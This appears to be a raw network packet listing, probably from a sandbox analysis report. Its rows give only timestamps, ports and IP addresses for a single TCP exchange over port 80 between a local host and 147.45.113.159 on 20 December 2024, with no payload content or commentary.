Dec 20, 2024 17:13:33.675066948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.675080061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.675117970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.675132036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.675878048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.675986052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.676033020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.676634073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.676826954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.676872969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.677414894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.677594900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.678112984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.678159952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.724822998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.725001097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.725012064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.725049973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.725076914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.725115061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.725754023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.726291895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.726335049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.726643085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.726752043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.726809025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.772811890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.773210049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.773221970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.773276091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.773305893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.773344994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.773964882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.774435043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.774746895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.774787903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.775006056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.775047064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.775065899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.775847912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.775984049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.776027918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.776570082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.776612043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.776696920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.777352095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.777393103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.777477026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.778132915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.778215885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.778230906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.778934956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.778984070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.779097080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.779689074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.779730082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.780076027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.780498028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.780544996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.780594110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.781295061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.781407118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.781452894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.782071114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.782190084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.782265902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.782854080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.782984018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.783148050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.783653975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.783778906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.783799887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.784389973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.784567118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.784604073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.785228014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.785274029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.785310030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.785937071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.786016941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.786348104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.786727905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.786776066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.787574053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.787587881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.787636042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.787702084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.788325071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.788361073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.788373947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.789076090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.789122105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.789144039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.789853096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.789899111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.790112019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.790687084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.790739059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.790782928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.791461945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.791474104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.791515112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.792217970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.792258024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.792757988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.793015957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.793028116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.793066025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.793781996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.793823004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.794327974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.794594049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.794606924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.794637918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.795358896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.795439005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.795483112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.855170965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.855442047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.855457067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.855484962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.855501890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.855545998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.856198072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.856360912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.856406927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.857002020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.857090950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.857196093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.857809067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.857912064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.857955933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.858566046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.858755112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.858818054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.859324932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.859546900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.859592915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.860061884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.860905886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.860919952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.860966921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.860984087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.861027002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.861716032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.861929893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.861974955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.862425089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.862982988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.863034010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.863244057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.863257885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.863291025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.864032030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.864109993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.864176989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.864768982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.864984989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.865026951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.865786076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.865931988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.865981102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.866338015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.866595984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.866637945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.867183924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.867245913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.867288113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.867885113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.868711948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.868726969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.868758917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.868813038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.868853092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.869471073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.869766951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.869810104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.870261908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.918930054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.919055939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.919126987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.919296980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.919310093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.919342995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.919874907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.919922113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.920104027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.920186043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.920228958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.964895964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.965235949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.965250015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.965334892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.965408087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.966052055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.966197968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.966243982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.966833115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.967027903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.967071056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.967675924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.967991114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.968003035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.968030930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.968718052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.968766928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.968858957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.969453096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.969465017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.969506979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.970158100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.970223904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.970352888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.970964909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.971046925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.971180916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.971724987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.971765995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.971800089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.972538948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.972619057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.972628117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.973376036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.973417997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.973663092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.974111080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.974148989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.974364042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.974922895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.974968910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.975198984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.975692034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.975857019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.975898981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.976454020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.976495028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.976526976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.977240086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.977677107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.977721930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.977991104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.978028059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.978055000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.978847980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.979370117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.979413033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.979552031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.979589939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.979625940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.980366945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.980412960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.980689049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.981280088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.981291056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.981322050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.981992960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.982047081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.982223988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.982744932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.982865095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.982877016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.983551025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.983593941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.983632088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.984451056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.984527111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.984591007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.985064030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.985112906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.985156059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.985852003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.985992908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.986170053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.986648083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.986691952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.986761093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.987406969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:33.987451077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:33.987488985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.031200886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.047435999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.047482014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.047569036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.047621965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.047652006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.047696114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.048450947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.048465014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.048499107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.049014091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.049025059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.049056053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.049791098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.049952030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.050007105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.050616026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.050777912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.051354885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.051368952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.051410913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.052109003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.052398920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.052444935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.052939892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.052952051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.052992105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.053680897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.054363012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.054405928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.054506063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.054518938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.054575920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.055283070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.055295944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.055337906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.056034088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.056755066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.056796074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.056828976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.056842089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.056879997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.057575941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.057871103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.057913065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.058371067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.058643103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.058779001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.059182882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.059281111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.059370995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.060004950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.060348988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.060396910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.060750961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.060836077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.060875893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.061502934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.061579943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.061623096 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.062297106 CET	80	49711	147.45.113.159	192.168.2.9
